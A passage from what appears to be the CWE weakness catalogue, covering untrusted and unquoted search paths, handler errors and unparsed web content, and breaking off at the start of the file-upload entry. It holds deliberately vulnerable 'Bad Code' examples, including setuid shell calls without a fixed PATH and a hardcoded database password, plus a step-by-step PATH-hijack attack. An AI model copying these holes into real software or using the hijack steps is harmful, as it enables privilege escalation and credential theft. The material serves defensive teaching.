ChildOf		953	SFP Secondary Cluster: Missing Endpoint Authentication	888	1373
PeerOf		288	Authentication Bypass Using an Alternate Path or Channel	1000	512

### Relationship Notes

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

### Theoretical Notes

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Request aka 'Forced Browsing'
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
WASC	34		Predictable Resource Location
Software Fault Patterns	SFP30		Missing endpoint authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
87	Forceful Browsing	
127	Directory Indexing	

## CWE-426: Untrusted Search Path

Compound Element ID: 426 (Compound Element Base: Composite)

Status: Draft

### Description

#### Summary

The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

#### Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Some of the most common variants of untrusted search path are:

In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD\_PRELOAD may be used to locate a separate library.

In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.

### Alternate Terms

#### Untrusted Path

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Language-independent

## Operating Systems

- OS-independent

## Common Consequences

### Integrity

### Confidentiality

### Availability

### Access Control

### Gain privileges / assume identity

### Execute unauthorized code or commands

There is the potential for arbitrary code execution with privileges of the vulnerable program.

### Availability

### DoS: crash / exit / restart

The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.

### Confidentiality

### Read files or directories

The program could send the output of unauthorized files to the attacker.

## Likelihood of Exploit

High

## Detection Methods

### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

### Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

### Manual Analysis

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Demonstrative Examples

### Example 1:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

### C Example:

*Bad Code*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
```

```
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

**PseudoCode Example:**

*Attack*

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".

The user creates a malicious program called "ls", and puts that program in /my/dir

The user executes the program.

When system() is executed, the shell consults the PATH to find the ls program

The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".

The program executes the malicious program with the raised privileges.

**Example 2:**

This code prints all of the running processes belonging to the current user.

**PHP Example:**

*Bad Code*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$username = getCurrentUser();
$command = 'ps aux | grep ' . $username;
system($command);
```

This program is also vulnerable to a PATH based attack, as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

**Example 3:**

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

**Java Example:**

*Bad Code*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

**Observed Examples**

Reference	Description
CVE-1999-1120	Application relies on its PATH environment variable to find and execute program.
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages.
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
CVE-2008-1810	Database application relies on its PATH environment variable to find and execute program.
CVE-2008-2613	setuid program allows compromise using path that finds and loads a malicious library.



Reference	Description
CVE-2008-3485	Untrusted search path using malicious .EXE in Windows environment.

## Potential Mitigations

### Architecture and Design

#### Implementation

##### Identify and Reduce Attack Surface

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

#### Implementation

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

#### Implementation

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD\_LIBRARY\_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.














#### Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

#### Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

## Relationships

Nature	Type	ID	Name	✓	Page
Requires		216	Containment Errors (Container Errors)	1000	410
Requires		275	Permission Issues	1000	488
ChildOf		417	Channel and Path Errors	<b>699</b>	722
Requires		471	Modification of Assumed-Immutable Data (MAID)	1000	792
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982
ChildOf		642	External Control of Critical State Data	<b>1000</b>	993
ChildOf		673	External Influence of Sphere Definition	1000	1041
ChildOf		744	CERT C Secure Coding Section 10 - Environment (ENV)	<b>734</b>	1135
ChildOf		752	2009 Top 25 - Risky Resource Management	<b>750</b>	1143
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf		878	CERT C++ Secure Coding Section 10 - Environment (ENV)	<b>868</b>	1316
CanAlsoBe		98	<i>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</i>	1000	184
PeerOf		427	<i>Uncontrolled Search Path Element</i>	1000	733

## Research Gaps

Search path issues on Windows are under-studied and possibly under-reported.

## Affected Resources

- System Process

## Functional Areas

- Program invocation
- Code libraries

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Untrusted Search Path
CLASP		Relative path library search
CERT C Secure Coding	ENV03-C	Sanitize the environment when invoking external programs
CERT C++ Secure Coding	ENV03-CPP	Sanitize the environment when invoking external programs

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
38	Leveraging/Manipulating Configuration File Search Paths	

### References

- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, Process Attributes, page 603. 1st Edition. Addison Wesley. 2006.
- [REF-8] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Canonical Representation Issues." Page 229.. 1st Edition. Microsoft. 2002.
- [REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". Chapter 12, "Trust Management and Input Validation." Pages 317-320.. 1st Edition. Addison-Wesley. 2002.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 11, "Don't Trust the PATH - Use Full Path Names" Page 385. 2nd Edition. Microsoft. 2002.

## CWE-427: Uncontrolled Search Path Element

Weakness ID: 427 (Weakness Base)

Status: Draft

### Description

#### Summary

The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.

#### Extended Description

Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory. In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:

- the directory from which the program has been loaded
- the current working directory.

In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.

In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.

### Alternate Terms

#### DLL preloading

This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

#### Binary planting

This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

#### Insecure library loading

This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Operating Systems**

- OS-independent

**Common Consequences****Confidentiality****Integrity****Availability****Execute unauthorized code or commands****Demonstrative Examples**

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.

**Java Example:***Bad Code*

```
...
System.Runtime.getRuntime().exec("make");
...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the \$PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

**Observed Examples**

Reference	Description
CVE-1999-0690	Product includes the current directory in root's PATH variable.
CVE-1999-1318	Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs.
CVE-1999-1461	Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicious version of that program.
CVE-2000-0854	When a document is opened, the directory of that document is first used to locate DLLs , which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document.
CVE-2001-0289	Product searches current working directory for configuration file.
CVE-2001-0507	Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file.
CVE-2001-0912	Error during packaging causes product to include a hard-coded, non-standard directory in search path.
CVE-2001-0942	Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable.
CVE-2001-0943	Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs.
CVE-2002-1576	Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program.
CVE-2002-2017	Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program.
CVE-2002-2040	Untrusted path.

Reference	Description
CVE-2003-0579	Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user.
CVE-2005-1307	Product executable other program from current working directory.
CVE-2005-1632	Product searches /tmp for modules before other paths.
CVE-2005-1705	Product searches current working directory for configuration file.
CVE-2005-2072	Modification of trusted environment variable leads to untrusted path vulnerability.
CVE-2010-1795	"DLL hijacking" issue in music player/organizer.
CVE-2010-3131	"DLL hijacking" issue in web browser.
CVE-2010-3135	"DLL hijacking" issue in network monitoring software.
CVE-2010-3138	"DLL hijacking" issue in library used by multiple media players.
CVE-2010-3147	"DLL hijacking" issue in address book.
CVE-2010-3152	"DLL hijacking" issue in illustration program.
CVE-2010-3397	"DLL hijacking" issue in encryption software.
CVE-2010-3402	"DLL hijacking" issue in document editor.

## Potential Mitigations

### Architecture and Design

#### Implementation

##### Identify and Reduce Attack Surface

Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

#### Implementation

##### Identify and Reduce Attack Surface

When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

#### Implementation

##### Identify and Reduce Attack Surface

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD\_LIBRARY\_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.





#### Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a blacklist approach, it might not be a complete solution.

#### Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		417	Channel and Path Errors	699	722
PeerOf		426	Untrusted Search Path	1000	729
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	1390

## Relationship Notes

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere

in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Uncontrolled Search Path Element

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
38	Leveraging/Manipulating Configuration File Search Paths	
471	DLL Search Order Hijacking	

### References

- Georgi Guninski. "Double clicking on MS Office documents from Windows Explorer may execute arbitrary programs in some cases". Bugtraq. 2000-09-18.
- Mitja Kolsek. "ACROS Security: Remote Binary Planting in Apple iTunes for Windows (ASPR #2010-08-18-1)". Bugtraq. 2010-08-18.
- Taeho Kwon and Zhendong Su. "Automatic Detection of Vulnerable Dynamic Component Loadings". < <http://www.cs.ucdavis.edu/research/tech-reports/2010/CSE-2010-2.pdf> >.
- "Dynamic-Link Library Search Order". Microsoft. 2010-09-02. < <http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx> >.
- "Dynamic-Link Library Security". Microsoft. 2010-09-02. < <http://msdn.microsoft.com/en-us/library/ff919712%28VS.85%29.aspx> >.
- "An update on the DLL-preloading remote attack vector". Microsoft. 2010-08-31. < <http://blogs.technet.com/b/srd/archive/2010/08/23/an-update-on-the-dll-preloading-remote-attack-vector.aspx> >.
- "Insecure Library Loading Could Allow Remote Code Execution". Microsoft. 2010-08-23. < <http://www.microsoft.com/technet/security/advisory/2269637.mspx> >.
- HD Moore. "Application DLL Load Hijacking". 2010-08-23. < <http://blog.rapid7.com/?p=5325> >.
- Oliver Lavery. "DLL Hijacking: Facts and Fiction". 2010-08-26. < [http://threatpost.com/en\\_us/blogs/dll-hijacking-facts-and-fiction-082610](http://threatpost.com/en_us/blogs/dll-hijacking-facts-and-fiction-082610) >.

### Maintenance Notes

This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

## CWE-428: Unquoted Search Path or Element

Weakness ID: 428 (Weakness Base)

Status: Draft

### Description

#### Summary

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

#### Extended Description

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

#### Operating Systems

- Windows 2000 (Sometimes)
- Windows XP (Sometimes)
- Windows Vista (Sometimes)
- Mac OS X (Rarely)

## Platform Notes

### Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Execute unauthorized code or commands**

### Demonstrative Examples

#### C/C++ Example:

*Bad Code*

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

### Observed Examples

Reference	Description
CVE-2000-1128	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe.
CVE-2005-1185	Small handful of others. Program doesn't quote the "C:\\Program Files\\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:.
CVE-2005-2938	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C:

### Potential Mitigations

#### Implementation

Properly quote the full search path before executing a program on the system.

#### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."




Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		417	Channel and Path Errors	699	722
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		981	SFP Secondary Cluster: Path Traversal	888	1384

### Research Gaps

Under-studied, probably under-reported.

### Functional Areas

- Program invocation

### Taxonomy Mappings



Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unquoted Search Path or Element

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
38	Leveraging/Manipulating Configuration File Search Paths	

#### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Process Loading", Page 654.. 1st Edition. Addison Wesley. 2006.

#### Maintenance Notes

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message. An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

## CWE-429: Handler Errors

Category ID: 429 (Category) Status: Draft

#### Description

##### Summary

Weaknesses in this category are related to improper management of handlers.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	18	Source Code	<b>699</b>	17
ParentOf	<b>B</b>	430	Deployment of Wrong Handler	<b>699</b>	738
ParentOf	<b>B</b>	431	Missing Handler	<b>699</b>	739
ParentOf	<b>B</b>	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	740
ParentOf	<b>V</b>	433	Unparsed Raw Web Content Delivery	<b>699</b>	741
ParentOf	<b>B</b>	434	Unrestricted Upload of File with Dangerous Type	<b>699</b>	742
ParentOf	<b>V</b>	479	Signal Handler Use of a Non-reentrant Function	699	807
ParentOf	<b>V</b>	616	Incomplete Identification of Uploaded File Variables (PHP)	<b>699</b>	963

#### Research Gaps

This concept is under-defined and needs more research.

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Handler Errors

## CWE-430: Deployment of Wrong Handler

Weakness ID: 430 (Weakness Base) Status: Incomplete

#### Description

##### Summary

The wrong "handler" is assigned to process an object.

##### Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

#### Time of Introduction

- Implementation



## Applicable Platforms

### Languages

- All

## Common Consequences

### Integrity

### Other

### Varies by context

### Unexpected state

## Observed Examples

Reference	Description
CVE-2000-1052	Source code disclosure by directly invoking a servlet.
CVE-2001-0004	Source code disclosure via manipulated file extension that causes parsing by wrong DLL.
CVE-2002-0025	Web browser does not properly handle the Content-Type header field, causing a different application to process the document.
CVE-2002-1742	Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.

## Potential Mitigations

### Architecture and Design

Perform a type check before interpreting an object.

### Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

## Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

This weakness is usually resultant from other weaknesses.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		429	Handler Errors	699	738
CanPrecede		433	Unparsed Raw Web Content Delivery	1000	741
PeerOf		434	Unrestricted Upload of File with Dangerous Type	1000	742
ChildOf		691	Insufficient Control Flow Management	1000	1072
ChildOf		977	SFP Secondary Cluster: Design	888	1382

## Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improper Handler Deployment

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74.. 1st Edition. Addison Wesley. 2006.

# CWE-431: Missing Handler

Weakness ID: 431 (Weakness Base)

Status: Draft

## Description

### Summary

A handler is not available or implemented.

### Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Other

Varies by context

## Demonstrative Examples

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

### Java Example:

*Bad Code*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

## Potential Mitigations

### Implementation

Handle all possible situations (e.g. error condition).

### Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	429	Handler Errors	699	738
CanPrecede	V	433	Unparsed Raw Web Content Delivery	1000	741
ChildOf	G	691	Insufficient Control Flow Management	1000	1072
ChildOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1376

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Missing Handler
Software Fault Patterns	SFP4	Unchecked Status Condition

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74.. 1st Edition. Addison Wesley. 2006.

# CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

Weakness ID: 432 (*Weakness Base*)

Status: Draft

## Description

### Summary

The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

### Extended Description

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

## Languages

- Language-independent

## Common Consequences

### Integrity

Modify application data

## Potential Mitigations

### Implementation

Turn off dangerous handlers when performing sensitive operations.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	364	Signal Handler Race Condition	<b>699</b> <b>1000</b>	635
ChildOf	<b>C</b>	429	Handler Errors	699	738
ChildOf	<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	SIG00-C	Mask signals handled by noninterruptible signal handlers
PLOVER		Dangerous handler not cleared/disabled during sensitive operations

# CWE-433: Unparsed Raw Web Content Delivery

Weakness ID: 433 (Weakness Variant)

Status: Incomplete

## Description

### Summary

The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

### Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

## Time of Introduction

- Implementation
- Operation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Confidentiality

Read application data

## Demonstrative Examples

The following code uses an include file to store database credentials:

database.inc

### PHP Example:

Bad Code

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

### PHP Example:

Bad Code

```
<?php
```

```
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

### Observed Examples

Reference	Description
CVE-2001-0330	direct request to .pl file leaves it unparsed
CVE-2002-0614	.inc file
CVE-2002-1886	".inc" file stored under web document root and returned unparsed by the server
CVE-2002-2065	".inc" file stored under web document root and returned unparsed by the server
CVE-2004-2353	unparsed config.conf file
CVE-2005-2029	".inc" file stored under web document root and returned unparsed by the server
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script.
SECUNIA:11394	".inc" file stored under web document root and returned unparsed by the server

### Potential Mitigations

#### Architecture and Design

Perform a type check before interpreting files.

#### Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	219	Sensitive Data Under Web Root	1000	412
ChildOf	C	429	Handler Errors	699	738
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
CanFollow	B	178	Improper Handling of Case Sensitivity	1000	343
CanFollow	B	430	Deployment of Wrong Handler	1000	738
CanFollow	B	431	Missing Handler	1000	739

### Relationship Notes

This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unparsed Raw Web Content Delivery

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74.. 1st Edition. Addison Wesley. 2006.

## CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID: 434 (Weakness Base)

Status: Draft

### Description

#### Summary

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

### Alternate Terms

#### Unrestricted File Upload

The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

### Time of Introduction

- Implementation
- Architecture and Design

### Applicable Platforms

#### Languages

- ASP.NET (*Sometimes*)
- PHP (*Often*)
- Language-independent

#### Architectural Paradigms

- Web-based

#### Technology Classes

- Web-Server (*Sometimes*)

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.

### Likelihood of Exploit

Medium to High

### Detection Methods

#### Dynamic Analysis with automated results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

#### Dynamic Analysis with manual results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Fuzz Tester
- Framework-based Fuzzer

#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

#### Automated Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

**HTML Example:***Good Code*

```
